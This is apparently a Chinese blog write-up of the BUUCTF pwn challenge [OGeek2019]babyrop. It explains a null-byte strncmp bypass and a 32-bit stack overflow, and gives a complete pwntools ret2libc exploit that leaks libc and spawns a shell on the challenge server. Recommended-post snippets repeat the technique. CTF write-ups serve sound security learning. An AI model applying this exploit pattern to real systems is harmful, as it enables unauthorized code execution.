BUUCTF PWN OGeek2019 babyrop

BUUCTF--[OGeek2019]babyrop 才学习了基本的ROP流程,到处找题练,不过也没做出来几道题,以这道32位的题作为例题吧。 这道题是BUUCTF上pwn练习题里的[OGeek2019]babyrop。 代码审计 老规矩先checksec一下: 没有canary保护,nx保护开启排除shellcode可能性,FULL RELEO为地址随机化。 观察主函数,先设定了一个闹铃,到时间就会强制退出程序,解除闹铃的方法在上一篇博客中提到过了, 这道题中闹铃函数依然对我们解题起不到什么干扰作用。 主函数的思路大概是:生成一个随机数,把这个随机数作为 阅读详情

1.checksec+运行

32位/ NX保护开启/

还有Full RELRO

2.IDA进行中

1.main函数

不明白的函数,不知道的语句,搜索

linux中提供了 /dev/urandom 和 /dev/random 两个来提供随机数

先来了解了解熵是什么

熵:系统状态的混乱程度

linux是根据系统的熵池来产生随机数的。

熵池就是系统当前的环境噪音,环境噪音的来源很多,键盘的输入、鼠标的移动、内存的使用、文件的使用量、进程数量等等。

假如系统的熵不够大,则系统产生的随机数随机效果就不是很好,更易被猜出来.

1./dev/random的random pool依赖于系统中断,因此在系统的中断数不足时,/dev/random设备会一直封锁,尝试读取的进程就会进入等待状态,直到系统的中断数充分够用,/dev/random 是真随机数生成器,它会消耗熵值来产生随机数,同时在熵耗尽的情况下会阻塞,直到有新的熵生成

2./dev/random设备可以保证数据的随机性。/dev/urandom不依赖系统的中断,也就不会造成进程忙等待,但是数据的随机性也不高,/dev/urandom 是伪随机数生成器,它根据一个初始的随机种子(这个种子来源就是熵池中的熵)来产生一系列的伪随机数,而并不会在熵耗尽的情况下阻塞。

 若在系统启动阶段使用 "/dev/urandom" 则可能存在熵池中还不存在任何熵的情况,

这时用 ''/dev/urandom'' 产生的随机数是可预测的
这样的话,除非要在启动启动阶段产生随机数,否则绝大多数情况下还是使用 /dev/urandom 来产生随机数,这样才不会引起程序莫名的挂起。

fd:打开生成随机数的文件

if ( fd > 0 )将buf读入
    read(fd, &buf, 4u);

接下来看看

v2 = sub_804871F(buf);
  sub_80487D0(v2);

2.sub_80487D0(char a1)

read函数栈溢出 

如果a1==127

将0xc8u读入,否则将a1读入

跟进buf看看大小

 

offset=0xe7+4 

 3.sub_804871F(int a1)

strcmp函数可用“\x00”来截断,进而覆盖下面的v5-----[buf]变量,随后让第二个read函数读入的“a1”足够覆盖栈,构造ROP 

payload=b'\x00'+b'\xff'*7
0xff=255采用最大的

1. 浅谈memset函数

定义变量时一定要进行初始化,尤其是数组和结构体这种占用内存大的数据结构

memset() 函数可以说是初始化内存的“万能函数”,初始化新申请的内存,直接操作内存空间

mem(memory)函数原型

# include <string.h>
void *memset(void *s, int c, unsigned long n);

2.浅谈strncmp函数 

函数原型

int strncmp(const char *str1, const char *str2, size_t n)

把 str1 和 str2 进行比较,最多比较前 n 个字节

参数:
str1 -- 要进行比较的第一个字符串。
str2 -- 要进行比较的第二个字符串。
n --    要比较的最大字符数。
返回值:
如果返回值 < 0,则表示 str1 小于 str2。
如果返回值 > 0,则表示 str1 大于 str2。
如果返回值 = 0,则表示 str1 等于 str2。

 将我们输入的值 和 产生的随机数  进行比较

3.接下来常规的ret2libc3进行栈溢出

无system及binsh

4.脚本

from pwn import*
from LibcSearcher import LibcSearcher
#p=process('./11babyrop')
p=remote("node4.buuoj.cn",25479)
elf = ELF('./11babyrop')

write_plt=elf.plt['write']
write_got=elf.got['write']

main_addr=0x8048825

payload1=b'\x00'+b'\xff'*7
p.sendline(payload1)
p.recvuntil('Correct\n')

#泄露read的got地址
payload=b'a'*0xe7+b'a'*0x4
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(0x8)
p.sendline(payload)

write_addr=u32(p.recv(4))
libc=LibcSearcher('write',write_addr)
print(hex(write_addr))

libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')

p.sendline(payload1)
p.recvuntil('Correct\n')

payload=b'a'*0xe7+b'a'*0x4
payload+=p32(system_addr)+b'aaaa'+p32(bin_sh_addr)
p.sendline(payload)

p.interactive()

[OGeek2019]babyrop [OGeek2019]babyrop WriteUp BUU_PWN 阅读详情

相关推荐

buuctf-[OGeek2019]babyrop

查看主函数 int __cdecl main() { int buf; // [esp+4h] [ebp-14h] char v2; // [esp+Bh] [ebp-Dh] int fd; // [esp+Ch] [ebp-Ch] sub_80486BB(); fd = open("/dev/urandom", 0); if ( fd > 0 ) read...

weixin_44864859的博客 2538

OGeek2019bayrop

OGeek2019bayrop

m0_62322730的博客 644

BUUCTF pwn题exp整合

0x01 rip from pwn import* p = remote('node3.buuoj.cn',27511) payload = 'a'*23+p64(0x401198)+p64(0x401186) p.sendline(payload) p.interactive()   0x02 warmup_csaw_2016 from pwn import * #p = proces...

菜的只能随便写写博客 809

BUUCTF Pwn [OGeek2019]babyrop 题解

返回上一个函数字符串的第七个数 并比较是否=127 但是想要实现栈溢出 字符ASCII码必须要>231才行。运行 得到flag:flag{13b507a6-fb96-4d2d-ab7d-c8c3853dc8c4}所以要利用在字符串前加上 \x00 绕过长度检测 使14行的if不会执行。查看字符串 这题也没有后门函数 所以接下来就是ret2libc。读取字符串 如果最后一个数字和随机的数字不相等 就直接退出。所以要用到拓展ASCII码 取 \xff。32位 用IDA32打开。下载 checksec。

qq_33348179的博客 816

buuctf13-17题

ok

XDiku的博客 300

实测|龙虾机器人(OpenClaw)Windows系统部署全攻略(含避坑指南)

先简单科普下:龙虾机器人本质是一款开源AI代理框架,核心优势是“能行动、可本地、高灵活”——它不内置大模型,需要对接第三方AI接口(如GPT、Claude、阿里云百炼等),但能将AI的指令转化为实际的系统操作,相当于给AI配了一个“能动手的身体”,这也是它和普通对话大模型的核心区别。今天就结合自己的实测经历,从环境准备、分步部署、初始化配置,到常见问题排查,写一篇保姆级攻略,不管是新手还是有一定技术基础的同学,都能跟着一步步完成部署,少走弯路~解决方案:检查聊天软件插件是否安装成功,权限是否配置完整;

wohaiweifaju的博客 1万+

[BUUCTF]PWN7——[OGeek2019]babyrop

[BUUCTF]PWN7——[OGeek2019]babyrop 题目网址:https://buuoj.cn/challenges#[OGeek2019]babyrop 步骤: 例行检查,32位,开启了RELRO(对got表不可以写)和NX(堆栈不可执行) nc的时候没有什么回显,用32位ida打开附件,shift+f12查看程序里的字符串,没有发现system和/bin/sh 从main函数开始看程序 用户输入一个字符串给buf,然后跟随机数比较大小,strncmp里的比较长度的参数v1是我们输入

mcmuyanga的博客 1837

【浙大翁恺】C语言习题

/* 02-0. 整数四则运算(10) 本题要求编写程序,计算2个正整数的和、差、积、商并输出。 题目保证输入和输出全部整型范围内。 输入格式: 输入在一行中给出2个正整数A和B。 输出格式: 在4行中按照格式“A 运算符 B = 结果”顺序输出和、差、积、商。 输入样例: 3 2 输出样例: 3 + 2 = 5 3 - 2 = 1 3 * 2 = 6 3 / 2 =.

qq_43600867的博客 5861

[BUUCTF-pwn]——[OGeek2019]babyrop

[BUUCTF-pwn]——[OGeek2019]babyrop 题目地址:https://buuoj.cn/challenges#[OGeek2019]babyrop 题目: 话不多说,先checksec一下,开启了NX保护,但是没开启地址随机化。 在IDA中看看,三个函数挨个点开看看 第一个,啥用没有。我也不知道写这个函数是干嘛,可能学的还是太少。 第二个函数,发现了栈溢出的敏感函数read。但是里面有个判断,里面函数返回值必须为0,否则直接终止程序。通过了解strncmp函数的性质。只要v1

Y_peak的博客 448

Cadence PSpice 仿真0:绘制电路图方法图文教程

在使用PSpice进行电路的仿真时,首先需要使用带有PSpice模型的元器件来绘制电路图,本文简单介绍进行电路图绘制是常用的几种需要掌握的方法,以满足PSpice仿真绘制简单电路图所用。

fydar的博客 4703

AutoSAR系列讲解 - 前言

博主xyfx是一名汽车行业的嵌入式软件工程师,本职工作是同步电机的驱动控制(主要做FOC的,这个大家要是有兴趣,以后可以单独开一个专栏来讲解一下),由于做控制器的时候需要用到AutoSAR,所以特意的去学习了相关知识,同时博主自己也在同步提高中,有写的不合理的地方也请大家指正。我准备对AutoSAR开设两个大的方面来讲解,一是AutoSAR的入门篇,二是AutoSAR的实践篇,分别讲述AutoSAR的理论基础和工具的使用。

雪云飞星的博客 4万+

buuctf-pwn [OGeek2019]babyrop题解(学习过程持续更新)

本文是一篇关于二进制漏洞利用的自学笔记,主要分析了一个32位程序的保护机制和漏洞利用过程。作者通过逆向分析发现程序存在随机数验证和缓冲区溢出漏洞:首先利用空字符绕过strncmp验证,然后通过构造特定输入参数触发栈溢出。攻击过程分为三个阶段:1)发送特殊payload绕过验证;2)泄露libc地址;3)构造system("/bin/sh")获取shell。由于LibcSearcher无法匹配正确的库版本,作者通过系统版本推测使用了Ubuntu 16.04的libc-2.23库,最终成功获取shell

2501_93570847的博客 436

双目相机标定理论与编程实现

双目相机标定是计算机视觉中的重要任务,通过确定双目相机的内参和外参,可以实现立体视觉的深度感知和三维重建。通过使用OpenCV库提供的函数,我们可以方便地进行双目相机的标定工作。双目相机标定是计算机视觉中的重要任务,用于确定双目相机的内参和外参,以实现立体视觉的深度感知和三维重建。通过上述代码,我们可以获得左右相机的内参矩阵、畸变系数、旋转矩阵和平移矩阵等参数,从而完成双目相机的标定过程。使用双目相机采集一系列左右相机的图像,确保标定板在不同位置和角度下都能被双目相机拍摄到。函数来检测标定板的角点。

ByteKnight的博客 325

BUUCTF pwn——[OGeek2019]babyrop

BUUCTF 做题练习

CNS-Enterprise BCC-1701-J 423

Altium Designer(AD24/25)导出DXF或DWG结构文件的方法

DXF(Drawing Exchange Format)和DWG(Drawing)是两种常见的CAD(计算机辅助设计)文件格式,常用于结构和硬件之间的沟通。本文介绍Altium Designer(AD24/25)导出DXF或DWG结构文件的方法。

fydar的博客 2331

SpringBoot实战教程-springboot概论

Spring Boot 是一个快速开发框架,能够快速的整合第三方框架,简化XML配置,全部采用注解形式,以及自动配置。内置web容器,帮助开发者能够实现快速开发,简化了应用系统的初始搭建以及开发过程。

鸟哥哥的专栏 4155

buuctf pwn [OGeek2019]babyrop_wp

网上很多wp已经不适用了,所以来更新一波XD。

HeyGap的博客 608

22、常见加密哈希算法及安全机制解析

本文详细解析了多种常见加密哈希算法,包括SHA系列、RIPEMD、Tiger、HAVAL、Whirlpool等,涵盖其工作原理、安全性与性能对比。同时探讨了哈希攻击方式如预映像攻击和彩虹表,并介绍了盐、MAC、HMAC等防御机制。结合密码存储、消息完整性验证及区块链应用案例,分析了不同场景下的算法选择建议,并展望了哈希算法在创新、融合与标准化方面的未来发展趋势。

seed的博客 391

BUUCTF-Pwn-[OGeek2019]babyrop

题目截图 检查文件信息 开启了NX和Full RELOR 用IDA打开,反汇编查看主函数 查看函数sub_804871F buf[7]的大小为7个字节,而我们最多可以写入0x20个字节的数据,可以覆盖到v5,所以我们可以控制v5的值,在if判断中,如果buf中的字符串与s中的字符串不相同就会退出程序,但是v1控制strncmp函数比较的字符数,v1等于buf中字符串的长度,只要我们输入的数据以\0开始,v1就等于0,那么就可以绕过if判断 查看函数sub_80487D0 a1的值等于上一个函数中的

餐桌上的猫 2289

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

Buuctf(pwn)[OGeek2019]babyrop

发现第二个函数有个read函数,但它是0x20是不能够构成漏洞利用,只是利用它作为中间的一个简单的输出即可; 跳过if判定: 只需在第一次输入时 在最前面加上 ‘\0’ a1上上一次返回的 buf[7] 这里的漏洞点利用, 要保证 a1的值尽可能的大, 这里选择的是 ‘xff’ – 255 该题目已经为我们提供了Libc Exp可以这样写 from pwn import * p = remote("node3.buuoj.cn",29829) libc=ELF('libc-2.23....

半岛铁盒的博客 817

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

【Writeup】BUUCTF_Pwn_[OGeek2019]babyrop

0x01 解题思路 文件基本信息 IDA查看   读取一个随机数,然后与用户输入作比较,需要绕过。strlen遇到**\x00会停止,因此只要开头为\x00,最终比较的长度v1就是0,从而绕过strncmp。   这里read的第三个读取长度参数实际上是前一个函数的返回值,可以通过上一次输入覆盖为\xff**,然后就可以利用栈溢出进行常规ROP了。 0x02 EXP #!/usr/...

BAKUMANSEC - Just Do It 2995

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

BUUCTF--pwn--[OGeek2019]babyrop【ret2libc】

BUUCTF--pwn--[OGeek2019]babyrop

qq_73149934的博客 378

BUUCTF|PWN-[OGeek2019]babyrop1-WP

1.检查保护机制 (1)该文件是32位文件 (2)开启堆栈不可执行 2.用32位IDA打开该文件

l2645470582_的博客 2603

CTF buuoj pwn-----第8题:[OGeek2019]babyrop

CTF buuoj pwn-----第8题:[OGeek2019]babyrop前言1. checksec2. 解题思路2.1 函数分析2.2 栈帧分析3. 编写EXP4. 运行EXP,获取flag 前言 梳理记录一下这道题的解题过程. 1. checksec bing@bing-virtual-machine:~/pwn$ checksec babyrop [*] '/home/bing/pwn/babyrop' Arch: i386-32-little RELRO: F

bing_Max的博客 757

ctf【[OGeek2019]babyrop】

(1)用0x00绕过strncmp比较 (2)进入sub_80487D0函数进行第二次输入,因为buf有0xe7字节,因此0xc8是不够输入的,为使得多输入一些字符可以将a1写为0xff (3)泄漏read的got地址,求得偏移量,通过溢出执行write函数,打印出read的got地址,并在此之后重新执行sub_80487D0函数 (4)根据得到的read的got地址求偏移量,计算出system函数地址和"\bin\sh"的地址,实施漏洞攻击,夺取权限

HUANGliang_的博客 428

ctf pwn 刷题记录 buuctf

[OGeek2019]babyrop 1 这题的知识点是一个ret2libc3和一个绕过随机数 1)checksec一下看一下保护 好的 2)丢尽ida看一下 1、首先是搞懂main函数 fd就是一个打开生成随机数文件 read函数将生成的随机数放到buf 然后进入第一个sub_804871F 2.瞧一瞧sub_804871F 1、memset的作用完成数组初始化,全部为0 2、sprintf的作用 原型 int sprintf( char *buffer, cons

m0_64195960的博客 465
上一篇: BUUCTF 第五空间2019PWN5
下一篇: BUUCTF PWN [HarekazeCTF2019]baby_rop
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值